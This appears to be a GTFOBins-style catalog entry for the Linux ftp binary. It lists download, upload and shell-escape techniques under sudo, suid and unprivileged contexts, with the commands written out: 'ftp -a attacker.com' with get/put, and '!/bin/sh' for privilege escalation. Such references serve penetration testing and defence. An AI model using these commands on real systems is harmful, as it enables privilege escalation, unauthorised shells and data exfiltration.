CatalogGTFOBins

GTFO · Tool

ftp

9 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
download
MITRE
T1105

download

File DownloadLinux

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

shell

ExecutionPrivilege EscalationLinux
ftp
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
ftp
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
ftp
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

upload

File UploadPrivilege EscalationLinux

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
upload
MITRE
T1041

upload

File UploadLinux

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041